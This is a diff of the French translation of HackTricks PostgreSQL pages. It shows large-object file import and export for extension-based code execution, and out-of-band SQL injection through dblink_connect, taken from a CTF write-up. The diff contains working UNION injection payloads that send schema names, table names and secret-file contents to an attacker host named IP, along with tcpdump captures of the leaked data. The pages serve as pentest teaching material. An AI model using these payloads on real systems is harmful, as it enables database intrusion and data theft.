Notez que dans les versions les plus récentes de postgres, vous devrez peut-être **télécharger les extensions sans indiquer aucun chemin**. [**Lisez ceci pour plus d'informations**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
|
Notez que dans les versions les plus récentes de postgres, vous devrez peut-être **télécharger les extensions sans indiquer de chemin du tout**. [**Lisez ceci pour plus d'informations**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Vous pourriez être intéressé par la suppression de l'objet volumineux créé après l'avoir exporté :
|
Il se peut que vous souhaitiez supprimer le grand objet créé après l'avoir exporté :
|
||||||
```sql
|
```sql
|
||||||
SELECT lo_unlink(173454); -- deletes large object with OID 173454
|
SELECT lo_unlink(173454); -- deletes large object with OID 173454
|
||||||
```
|
```
|
||||||
# Utilisation de lo\_import & Hex
|
# Utilisation de lo\_import & Hex
|
||||||
|
|
||||||
Dans ce scénario, lo\_import va être utilisé pour créer un objet de grande taille. Heureusement, dans ce cas, vous pouvez (et ne pouvez pas) spécifier le LOID que vous souhaitez utiliser :
|
Dans ce scénario, lo\_import va être utilisé pour créer un grand objet. Heureusement, dans ce cas, vous pouvez (et ne pouvez pas) spécifier le LOID que vous souhaiteriez utiliser :
|
||||||
```sql
|
```sql
|
||||||
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
|
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
|
||||||
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
|
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
|
||||||
```
|
```
|
||||||
Après avoir créé l'objet, vous pouvez commencer à insérer les données sur chaque page (n'oubliez pas, vous devez insérer des morceaux de 2 Ko):
|
Après avoir créé l'objet, vous pouvez commencer à insérer les données sur chaque page (souvenez-vous, vous devez insérer des blocs de 2 Ko) :
|
||||||
```sql
|
```sql
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
|
||||||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
|
||||||
```
|
```
|
||||||
Le HEX doit être juste le hexadécimal (sans `0x` ou `\x`), exemple:
|
Le HEX doit être juste le hex (sans `0x` ou `\x`), exemple :
|
||||||
```sql
|
```sql
|
||||||
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
|
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
|
||||||
```
|
```
|
||||||
Enfin, exportez les données vers un fichier et supprimez l'objet volumineux :
|
Finalement, exportez les données dans un fichier et supprimez l'objet volumineux :
|
||||||
```sql
|
```sql
|
||||||
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
|
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
|
||||||
select lo_unlink(173454); -- deletes large object with OID 173454
|
select lo_unlink(173454); -- deletes large object with OID 173454
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Notez que dans les dernières versions de postgres, vous devrez peut-être **télécharger les extensions sans indiquer aucun chemin**. [**Lisez ceci pour plus d'informations**](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions).
|
Notez que dans les versions les plus récentes de postgres, vous pourriez avoir besoin de **télécharger les extensions sans indiquer de chemin** du tout. [**Lisez ceci pour plus d'informations**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
# Limitations
|
# Limitations
|
||||||
|
|
||||||
Après avoir lu la documentation sur les grands objets dans PostgreSQL, nous pouvons découvrir que **les grands objets peuvent avoir une ACL** (Liste de contrôle d'accès). Il est possible de configurer **de nouveaux grands objets** de sorte que votre utilisateur **n'ait pas suffisamment de privilèges** pour les lire même s'ils ont été créés par votre utilisateur.
|
Après avoir lu la documentation sur les grands objets dans PostgreSQL, nous pouvons découvrir que **les grands objets peuvent avoir une ACL** (Liste de Contrôle d'Accès). Il est possible de configurer **de nouveaux grands objets** de sorte que votre utilisateur **n'ait pas suffisamment de privilèges** pour les lire, même s'ils ont été créés par votre utilisateur.
|
||||||
|
|
||||||
Cependant, il peut y avoir **un ancien objet avec une ACL qui permet à l'utilisateur actuel de le lire**, alors nous pouvons exfiltrer le contenu de cet objet.
|
Cependant, il peut y avoir **un ancien objet avec une ACL qui permet à l'utilisateur actuel de le lire**, alors nous pouvons exfiltrer le contenu de cet objet.
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,36 +2,34 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Ceci est un exemple de comment exfiltrer des données en chargeant des fichiers dans la base de données avec `lo_import` et en les exfiltrant en utilisant `dblink_connect`.**
|
**Voici un exemple de comment exfiltrer des données en chargeant des fichiers dans la base de données avec `lo_import` et les exfiltrer en utilisant `dblink_connect`.**
|
||||||
|
|
||||||
## Préparation du serveur d'exfiltration/Injection SQL asynchrone
|
## Préparation du serveur d'exfiltration/Injection SQL Asynchrone
|
||||||
|
|
||||||
**Extrait de:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
**Extrait de :** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||||
|
|
||||||
Comme `pg_sleep` ne provoque pas non plus de retard, nous pouvons en toute sécurité supposer que l'exécution de la requête se produit en arrière-plan ou de manière asynchrone.
|
Comme `pg_sleep` ne cause également pas de délai, nous pouvons supposer en toute sécurité que l'exécution de la requête se produit en arrière-plan ou de manière asynchrone.
|
||||||
|
|
||||||
Normalement, `dblink_connect` peut être utilisé pour ouvrir une connexion persistante à une base de données PostgreSQL distante (par exemple, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Comme nous pouvons contrôler le paramètre de cette fonction, nous pouvons effectuer une demande de falsification de requête côté serveur SQL vers notre propre hôte. Cela signifie que nous pouvons effectuer une injection SQL hors bande pour exfiltrer des données des résultats de requête SQL. Au moins, il y a deux façons de faire cela :
|
Normalement, `dblink_connect` peut être utilisé pour ouvrir une connexion persistante à une base de données PostgreSQL distante (par exemple, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Comme nous pouvons contrôler le paramètre de cette fonction, nous pouvons effectuer une falsification de requête côté serveur SQL vers notre propre hôte. Cela signifie que nous pouvons effectuer une Injection SQL Out-of-Band pour exfiltrer des données à partir des résultats de requêtes SQL. Il existe au moins deux façons de faire cela :
|
||||||
|
|
||||||
1. Configurer un **serveur DNS** et déclencher ensuite la connexion à `[data].our.domain` afin que nous puissions voir les données dans le journal ou dans les paquets réseau DNS.
|
1. Configurer un **serveur DNS** puis déclencher la connexion à `[data].our.domain` afin que nous puissions voir les données dans le journal ou dans les paquets réseau DNS.
|
||||||
2. Configurer un **serveur PostgreSQL public, surveiller les paquets réseau entrants sur le port PostgreSQL**, puis déclencher une connexion vers notre hôte avec les données exfiltrées en tant que `user`/`dbname`. Par **défaut**, PostgreSQL n'utilise pas SSL pour la communication, nous pouvons donc voir `user`/`dbname` en **texte clair** sur le réseau.
|
2. Configurer un **serveur PostgreSQL public, surveiller les paquets réseau entrants sur le port PostgreSQL**, puis déclencher une connexion à notre hôte avec les données exfiltrées comme `user`/`dbname`. Par **défaut**, PostgreSQL n'utilise pas SSL pour la communication, donc nous pouvons voir `user`/`dbname` en **texte clair** sur le réseau.
|
||||||
|
|
||||||
La **deuxième méthode est plus facile** car nous n'avons pas besoin de domaine. Nous avons seulement besoin de configurer un serveur avec une adresse IP publique, d'installer PostgreSQL, de configurer le service PostgreSQL pour écouter \*/0.0.0.0, et d'exécuter un analyseur de réseau (par exemple tcpdump) pour surveiller le trafic vers le port PostgreSQL (5432 par défaut).
|
La **deuxième méthode est plus simple** car nous n'avons pas besoin de domaine. Nous avons seulement besoin de configurer un serveur avec une IP publique, installer PostgreSQL, configurer le service PostgreSQL pour écouter sur \*/0.0.0.0, et exécuter un collecteur de réseau (par exemple, tcpdump) pour surveiller le trafic vers le port PostgreSQL (5432 par défaut).
|
||||||
|
|
||||||
Pour configurer PostgreSQL pour qu'il **écoute sur le public**, définissez `listen_addresses` dans `postgresql.conf` sur `*`.
|
Pour configurer PostgreSQL afin qu'il **écoute publiquement**, définissez `listen_addresses` dans `postgresql.conf` à `*`.
|
||||||
```
|
```
|
||||||
listen_addresses = '*'
|
listen_addresses = '*'
|
||||||
```
|
```
|
||||||
|
@ -39,21 +37,21 @@ Pour surveiller le trafic entrant, exécutez `tcpdump` pour surveiller le port 5
|
||||||
```
|
```
|
||||||
sudo tcpdump -nX -i eth0 port 5432
|
sudo tcpdump -nX -i eth0 port 5432
|
||||||
```
|
```
|
||||||
Pour voir si nous avons une connexion avec la cible, nous pouvons essayer d'utiliser cette requête :
|
Pour voir si nous obtenons une connexion de la cible, nous pouvons essayer d'utiliser cette requête :
|
||||||
```
|
```
|
||||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
|
||||||
```
|
```
|
||||||
Si réussi, nous obtenons un morceau de paquet réseau avec `user` et `dbname` lisibles.
|
Si réussi, nous obtenons un morceau de paquet réseau avec `user` et `dbname` lisibles.
|
||||||
```
|
```
|
||||||
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
|
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
|
||||||
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
|
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
|
||||||
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
|
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
|
||||||
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
|
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
|
||||||
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
|
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
|
||||||
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
|
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
|
||||||
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
|
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
|
||||||
```
|
```
|
||||||
Ensuite, nous pouvons continuer à extraire la base de données en utilisant plusieurs requêtes PostgreSQL. Notez que pour chaque résultat de requête contenant des espaces blancs, nous devons convertir le résultat en hex/base64 avec la fonction `encode` ou remplacer l'espace blanc par un autre caractère avec la fonction `replace`, car cela provoquera une erreur d'exécution lors du processus `dblink_connect`.
|
Ensuite, nous pouvons **continuer à extraire la base de données en utilisant plusieurs requêtes PostgreSQL**. Notez que pour chaque résultat de requête contenant des espaces, nous devons convertir le résultat en **hex/base64** avec la fonction `encode` ou remplacer l'espace par un autre caractère avec la fonction `replace`, car cela provoquera une erreur d'exécution pendant le processus `dblink_connect`.
|
||||||
|
|
||||||
Obtenir une **liste** de **schémas** :
|
Obtenir une **liste** de **schémas** :
|
||||||
```
|
```
|
||||||
|
@ -62,28 +60,28 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg
|
||||||
|
|
||||||
```
|
```
|
||||||
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
|
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
|
||||||
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
|
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
|
||||||
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
|
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
|
||||||
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
|
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
|
||||||
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
|
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
|
||||||
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
|
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
|
||||||
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
|
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
|
||||||
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
|
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
|
||||||
0x0070: 6f73 7467 7265 7300 00 ostgres.
|
0x0070: 6f73 7467 7265 7300 00 ostgres.
|
||||||
```
|
```
|
||||||
Obtenir une **liste** des **tables** dans le schéma actuel:
|
Obtenez une **liste** des **tables** dans le schéma actuel :
|
||||||
```
|
```
|
||||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
|
||||||
```
|
```
|
||||||
|
|
||||||
```
|
```
|
||||||
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
|
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
|
||||||
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
|
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
|
||||||
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
|
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
|
||||||
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
|
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
|
||||||
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
|
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
|
||||||
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
|
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
|
||||||
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
|
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
|
||||||
```
|
```
|
||||||
**Compter** les **lignes** dans la table `searches`.
|
**Compter** les **lignes** dans la table `searches`.
|
||||||
```
|
```
|
||||||
|
@ -92,86 +90,84 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) F
|
||||||
|
|
||||||
```
|
```
|
||||||
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
|
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
|
||||||
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
|
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
|
||||||
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
|
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
|
||||||
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
|
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
|
||||||
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
|
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
|
||||||
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
|
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
|
||||||
0x0050: 6772 6573 0000 gres.
|
0x0050: 6772 6573 0000 gres.
|
||||||
```
|
```
|
||||||
Il semble qu'il n'y ait qu'une seule table vide dans le schéma actuel et que le flag ne soit pas dans la base de données. Nous devrons peut-être vraiment exfiltrer des données depuis `/var/lib/postgresql/data/secret`. Malheureusement, si nous essayons d'utiliser `pg_read_file` ou `pg_read_binary_file` pour lire le fichier, nous n'obtiendrons pas de connexion entrante, de sorte que l'utilisateur actuel peut ne pas avoir l'autorisation d'utiliser ces fonctions.
|
Il semble qu'il n'y ait qu'une seule table vide dans le schéma actuel et que le drapeau ne soit pas dans la base de données. Nous pourrions vraiment avoir besoin d'exfiltrer des données depuis `/var/lib/postgresql/data/secret`. Malheureusement, si nous essayons d'utiliser `pg_read_file` ou `pg_read_binary_file` pour lire le fichier, nous n'obtiendrons pas de connexion entrante, donc l'utilisateur actuel peut ne pas avoir la permission d'utiliser ces fonctions.
|
||||||
|
|
||||||
#### Plus d'informations sur l'injection SQL asynchrone avec PostgreSQL
|
#### Plus d'infos sur l'Injection SQL asynchrone avec postdresql
|
||||||
|
|
||||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||||
|
|
||||||
## **Exfiltration de contenu d'objets volumineux**
|
## **Exfiltration du contenu d'un grand objet**
|
||||||
|
|
||||||
Il est possible de lire un fichier en utilisant des objets volumineux ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Nous pouvons utiliser `lo_import` pour charger le contenu du fichier dans le catalogue `pg_largeobject`. Si la requête réussit, nous obtiendrons l'`oid` de l'objet.
|
Il est possible de lire un fichier en utilisant des grands objets ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Nous pouvons utiliser `lo_import` pour charger le contenu du fichier dans le catalogue `pg_largeobject`. Si la requête est réussie, nous obtiendrons l'`oid` de l'objet.
|
||||||
```
|
```
|
||||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
|
||||||
```
|
```
|
||||||
|
|
||||||
```
|
```
|
||||||
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
|
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
|
||||||
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
|
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
|
||||||
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
|
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
|
||||||
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
|
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
|
||||||
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
|
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
|
||||||
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
|
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
|
||||||
0x0050: 706f 7374 6772 6573 0000 postgres..
|
0x0050: 706f 7374 6772 6573 0000 postgres..
|
||||||
```
|
```
|
||||||
Nous avons obtenu 24668 comme `oid`, ce qui signifie que nous pouvons utiliser la fonction `lo_import`. Malheureusement, nous n'obtiendrons aucun résultat si nous essayons d'obtenir le contenu d'un grand objet en utilisant `lo_get(24668)` ou en accédant directement au catalogue `pg_largeobject`. **Il semble que l'utilisateur actuel n'ait pas l'autorisation de lire le contenu des nouveaux objets.**
|
Nous avons obtenu 24668 comme `oid`, ce qui signifie que nous pouvons utiliser la fonction `lo_import`. Malheureusement, nous n'obtiendrons aucun résultat si nous essayons d'obtenir le contenu de l'objet large en utilisant `lo_get(24668)` ou en accédant directement au catalogue `pg_largeobject`. **Il semble que l'utilisateur actuel n'ait pas la permission de lire le contenu des nouveaux objets.**
|
||||||
|
|
||||||
Après avoir lu la documentation des grands objets dans PostgreSQL, nous pouvons découvrir que **les grands objets peuvent avoir une ACL** (Liste de contrôle d'accès). Cela signifie que s'il existe un ancien objet avec une ACL qui permet à l'utilisateur actuel de le lire, alors nous pouvons exfiltrer le contenu de cet objet.
|
Après avoir lu la documentation sur les objets larges dans PostgreSQL, nous pouvons découvrir que **les objets larges peuvent avoir une ACL** (Liste de Contrôle d'Accès). Cela signifie que, s'il y a un vieil objet avec une ACL qui permet à l'utilisateur actuel de le lire, alors nous pouvons exfiltrer le contenu de cet objet.
|
||||||
|
|
||||||
Nous pouvons obtenir une liste d'`oid` de grands objets disponibles en les extrayant de `pg_largeobject_metadata`.
|
Nous pouvons obtenir une liste des `oid` des objets larges disponibles en les extrayant de `pg_largeobject_metadata`.
|
||||||
```
|
```
|
||||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
|
||||||
```
|
```
|
||||||
|
|
||||||
```
|
```
|
||||||
